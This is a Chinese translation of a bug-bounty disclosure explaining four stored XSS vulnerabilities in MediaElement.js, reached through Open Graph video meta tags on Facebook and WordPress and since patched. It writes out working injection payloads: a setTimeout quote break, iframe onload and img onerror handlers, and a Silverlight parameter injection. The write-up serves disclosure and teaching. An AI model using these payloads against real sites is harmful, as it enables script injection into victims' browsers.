最新消息:图 床

FaceBook的存儲型XSS漏洞

COOL IAM 300浏览 0评论

原文來自安全客 譯者:fnmsd00
原文:《Stored XSS on Facebook》

介紹

我在2017年4月報告了多個FaceBook wall上的存儲型XSS。這些存儲型XSS漏洞也出現在WordPress中,所以我在發布這篇文章之前等待WordPress進行修補。這些漏洞現已在WordPress上修復!

這些XSS有點複雜,因為它們需要多個步驟,但是每一步本身都很容易理解。

Open Graph協議

當您在Facebook帖子中添加URL時,Facebook將使用Open Graph協議FB doc)顯示豐富的內容。以下是關於Facebook如何使用OG在FB帖子中嵌入外部內容的大致流程:

  1. 攻擊者在FB帖子上發布URL
  2. FB服務器讀取URL(服務器端)並讀取OG meta標籤中提取有關URL內容的信息(例如,內容是帶有標題,封面圖像,視頻編碼類型和視頻文件URL的視頻)
  3. 受害者查看帶有封面圖片和播放按鈕FB帖子
  4. 當受害者點擊播放按鈕時,視頻會使用從OG元標記中提取的視頻信息加載。(XSS將在這裡執行)

許多網站也使用OG工作流,包括Twitter和WordPress等。

步驟#2很敏感:服務器端讀取用戶提供的URL,這通常會導致SSRF。

如果託管網站在敏感網頁上使用X-Frame-Options:SAMEORIGIN並允許攻擊者在同一子域中注入任意iframe,則會造成潛在的點擊劫持漏洞。

FB不容易受到這些問題的影響

有趣的部分在步驟#4:在受害者點擊播放按鈕后,FB加載視頻時。首先,FB會發送一個XHR請求來獲取視頻類型和視頻文件URL,它們都是由攻擊者在ogvideo:type(我們稱之為ogVideoType)和og:video:secure_url(ogVideoUrl )由攻擊者發布的URL的標籤。以下是OG元標記的示例:

<!DOCTYPE html>

<html>

<head>

<meta property="og:video:type" content="video/flv">

<meta property="og:video:secure_url" content='https://example.com/video.flv'>

<meta property="og:video:width" content="718">

<meta property="og:video:height" content="404">

<meta property="og:image" content="https://example.com/cover.jpg">

(...)

</head>

<body>

(...)
</body>

</html>

If ogVideoType is “iframe” or “swf player” then FB loads an external iframe and doesn’t handle the playing of the video. Otherwise, FB was using MediaElement.js to handle the loading of the video directly on facebook.com. I already reported and disclosed vulnerabilities on the Flash component of ME.js on both Facebook and WordPress.

如果ogVideoType是“iframe”或“swf player”,則FB會加載一個外部iframe並且不處理該視頻的播放,而是直接使用MediaElement.js在facebook.com上處理視頻加載。我已經報告並披露了ME.js的Flash組件在Facebook 和WordPress上的漏洞

1.使用FlashMediaElement.swf造成的存儲型XSS

MediaElements.js根據ogVideoType會有多種播放視頻的方式。

如果ogVideoType是“video / flv”(flash視頻),則Facebook在facebook.com上加載Flash文件FlashMediaElement.swf(使用標籤),並將ogVideoUrl傳遞到FlashME.swf進行視頻播放。FlashME.swf然後將日誌信息發送到facebook.com(使用Flash-to-JavaScript)關於“視頻播放”或“視頻結束”等事件。FlashME.swf正確處理了Flash-to-JavaScript的通信,特別是被正確轉義為/以避免XSS。

但是,發送的JavaScript代碼是:

setTimeout('log("[VIDEO_URL]")', 0)

在Javascript中setTimeout與eval類似,它會將字符串轉換為指令,使其非常危險

[VIDEO_URL]由攻擊者控制,它是ogVideoUrl的值。如果它包含“例如

http://evil.com/video.flv?"[payload]

Flash會將以下指令發送給javascript:

setTimeout("log("http://evil.com/video.flv?"payload")", 0);

如您所見,“ in video.flv?”payload已正確轉義,因此攻擊者無法逃離setTimeout函數。

但是,當JavaScript執行setTimeout函數時,它將執行以下JavaScript指令:

log("http://evil.com/video.flv?"[payload]")

而這次“不再逃脫,攻擊者可以注入XSS!

現在的問題是,Facebook在將ogVideoUrl傳遞給FlashME.swf之前是否會轉義l。

首先,Facebook JavaScript向Facebook服務器發送XHR請求以獲取ogVideoType和ogVideoUrl的值。ogVideoUrl的值是正確編碼的,但它可以包含任何特殊字符,例如:

https://evil.com?"'<

然後,在發送到Flash之前,ogVideoUrl進行了如下轉換:

function absolutizeUrl(ogVideoUrl) {
var tempDiv = document.createElement('div');
tempDiv.innerHTML = '<a href="' + ogVideoUrl.toString().split('"').join('&quot;') + '">x</a>';
return tempDiv.firstChild.href;
}flashDiv.innerHTML ='<embed data-original="FlashME.swf?videoFile=' + encodeURI(absolutizeUrl(ogVideoUrl )) +'" type="application/x-shockwave-flash">';

absolutizeUrl(ogVideoUrl)的結果 在發送到Flash之前進行了URL編碼,但當Flash接收到數據時,它會自動對其進行URL解碼,因此我們可以忽略encodeURI指令。

absolutizeUrl使用當前的javascript上下文的協議和域(Domain)來將相對URL轉換為絕對URL(如果提供了絕對URL,則返回它幾乎不變)。這似乎是“哈克”,但它看起來足夠安全和簡單,因為我們讓瀏覽器做了艱苦的工作。但當存在特殊字符編碼時,這並不簡單。

當最初分析這段代碼時,我使用的是Firefox,因為它有很棒的擴展,比如Hackbar,Tamper Data和Firebug!

在Firefox中,如果你嘗試

absolutizeUrl('http://evil.com/video.flv#"payload')

它會返回

http://evil.com/video.flv#%22payload

所以我被難住了,因為在Facebook中,由Flash發送的JavaScript指令會是

setTimeout("log("http://evil.com/video.flv?%22payload")", 0);

這將導致

log("http://evil.com/video.flv?%22[payload]")

這不是一個XSS。

然後我嘗試了Chrome和

absolutizeUrl('http://evil.com/video.flv#"payload')

返回:

http://evil.com/video.flv#"payload

和 o / YEAH !!!!!

現在Flash發送

setTimeout("log("http://evil.com/video.flv?"payload")", 0);

到Facebook的JavaScript和哪些將導致

log("http://evil.com/video.flv?"[payload]")

所以如果ogVideoUrl設置為

http://evil.com/video.flv#"+alert(document.domain+" XSSed!")+"

那麼Facebook將執行

log("http://evil.com/video.flv?"+alert(document.domain+" XSSed!")+"")

並會顯示一個不錯的小警告框,說“facebook.com XSSed!” ?

這是由於瀏覽器解析URL時,不同的瀏覽器在特殊字符編碼上有所不同:

Firefox將對URL中出現的任何雙引號(“)進行URL編碼

Chrome瀏覽器(最高版本為64)將除了URL 的hash部分(=fragment)外的雙引號(“)進行URL編碼。(請注意:在Chrome的最新版本65中,此行為已更改,現在Chrome的行為與Firefox相同,在hash中的雙引號(”)也會進行編碼)

IE和Edge將不會URL編碼在hash部分或者URL 的搜索部分(=query)中的雙引號

Safari將不會URL編碼在hash部分的雙引號(“)

正如你所看到的讓瀏覽器決定如何在JavaScript代碼中的URL中進行特殊字符編碼並不是很好!

我立即將此漏洞報告給Facebook,他們在第二天回復並告訴我他們修改了Flash文件,以便它不再使用setTimeout,Flash現在會發送

log("http://evil.com/video.flv?"payload")

正如你所看到的“正確地轉義到”,所里這裡不再有XSS。

2.無Flash存儲XSS

上面的的XSS需要Flash,所以我檢查這裡能否有一個不使用Flash的payload。

如果ogVideoType是“video / vimeo”,則會執行以下代碼

ogVideoUrl = absolutizeUrl(ogVideoUrl);ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);playerDiv.innerHTML = '<iframe data-original="https://player.vimeo.com/video/' + ogVideoUrl + '?api=1"></iframe>';

正如你可以看到 absolutizeUrl(ogURL)在注入playerDiv.innerHTML之前沒有被urlencoded,所以當ogVideoUrl設置為

http://evil.com/#" onload="alert(document.domain)"

playerDiv.innerHTML則會變為:

<iframe data-original="https://player.vimeo.com/video/#" onload="alert(document.domain)" ?api=1"></iframe>

這又是Facebook.com上的XSS!

我在前一個XSS被修復的同一天報道了這一點,Facebook在同一天用如下方法修復了漏洞:

ogVideoUrl = absolutizeUrl(ogVideoUrl);ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);playerDiv.innerHTML = '<iframe data-original="https://player.vimeo.com/video/' + ogVideoUrl.split('"').join('&quot;') + '?api=1"></iframe>'

以下是這個XSS的視頻:

第二天,我發現了另一個易受攻擊的點:當ogVideoType是未知的類型,比如“video / nothing”時,Facebook會顯示一條包含ogVideoUrl鏈接的錯誤消息,如下所示:

errorDiv.innerHTML = '<a href="' +absolutizeUrl(ogVideoUrl ) + '">'

所以ogVideoUrl 的payload設置為

https://opnsec.com/#"><img/src="xxx"onerror="alert(document.domain)

errorDiv.innerHTML則會變為:

<a href="https://opnsec.com/#"><img data-original="xxx" onerror="alert(document.domain)">

我把它報告給了Facebook,非常歡樂的是,來自Facebook的白帽子Neil告訴我,他計劃在第二天檢查這些代碼!

哦,還有一件事…

另一種可能的ogVideoType是“silverlight”。Silverlight 是微軟公司的瀏覽器插件,它能與VBscript交互,就像Flash和JavaScript交互。

在Facebook(silverlightmediaelement.xap)上託管的silverlight文件是這樣加載的:

params = ["file=" + ogVideoUrl, "id=playerID"];silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="' + params.join(',').split('"').join('&quot;') + '" /></object>';

silverlightmediaelement.xap然後會發送日誌信息到Facebook的JavaScript(這點有點像Flash),但這次它不包含ogVideoUrl,但只有player ID,這是另一個在initParams中發送由Facebook定義的參數。Silverlight會調用javascript函數[id] _init() ,其中[id]是“playerID”。

在Silverlight中,參數不是由 URLs或Flash中的&所分隔,而是通過逗號(,)

如果ogVideoUrl 包含一個逗號( ,)那麼在這個逗號後面的每一個東西都將被silverlight視為另一個參數,這意味着使用有效載荷

https://opnsec.com/#,id=alert(document.domain)&

然後silverlight像這樣加載:

silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="file=https://opnsec.com/#,id=alert(document.domain)&,id=playerID" /></object>';

Silverlight將僅考慮id的第一次出現,並將其值設置為

alert(document.domain)&

然後Silverlight將調用以下javascript:

alert(document.domain)&_init()

這意味着再次 XSS!

我在同一天進行了提交,Neal回復說他們將刪除所有MediaElement組件,並用一種處理外部視頻的新方式替換它!

那麼WordPress呢?

所有這些存在問題的代碼都不是由Facebook開發的,他們使用了可以將視頻嵌入到網頁中 MediaElementjs 庫,它是一個流行的(現在依舊是,尤其是因為它們具有支持舊版瀏覽器的Flash後備功能)開源模塊。特別是,WordPress在處理短代碼時默認使用這個模塊。這些漏洞也存在於WordPress中,並能夠在WordPress評論或作者寫的WordPress文章中寫入存儲XSS(在WordPress中,作者角色不允許執行JavaScript)。

我向WordPress報告了漏洞,幾個月之前我已經報告過其他漏洞 。他們向MediaElementjs團隊通報了這一消息,並告訴我他們正在進行修復。在2018年2月,他們終於發布了與MediaElementjs相關的所有XSS的修復程序。

結論

我學到了很多東西,並且發現這些漏洞非常有趣。我希望你也喜歡它!

以下是一些建議:

Open Graph(以及像json-ld這樣的替代品)是在網站上顯示豐富的外部內容的好方法,但你應該小心使用(認為SSRF,XSS和Clickjacking)

不要讓瀏覽器在您的JavaScript代碼中為您解析URL,每個瀏覽器都以自己的方式處理它,並且瀏覽器可以隨時更改其行為(如Chrome 64 – > 65)。應該改為使用白名單正則表達式。

現在的自動工具不會檢測到使用XHR,DOM突變和外部內容的複雜動態XSS。所以即使是最安全,最有影響力的網站也可能會受到攻擊。代碼審查和調試是實現這些目標的方法!

不要害怕大的、壓縮過、動態的JavaScript源代碼。如果您在網站上發現一些潛在的危險功能,您可以放輕鬆的檢查它是如何實現的。

Facebook WhiteHat是一個非常好的漏洞獎勵計劃!感謝Neal及其團隊


本文經安全客授權發布,轉載請聯繫安全客平台。


转载请注明:IAMCOOL » FaceBook的存儲型XSS漏洞

0 0 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x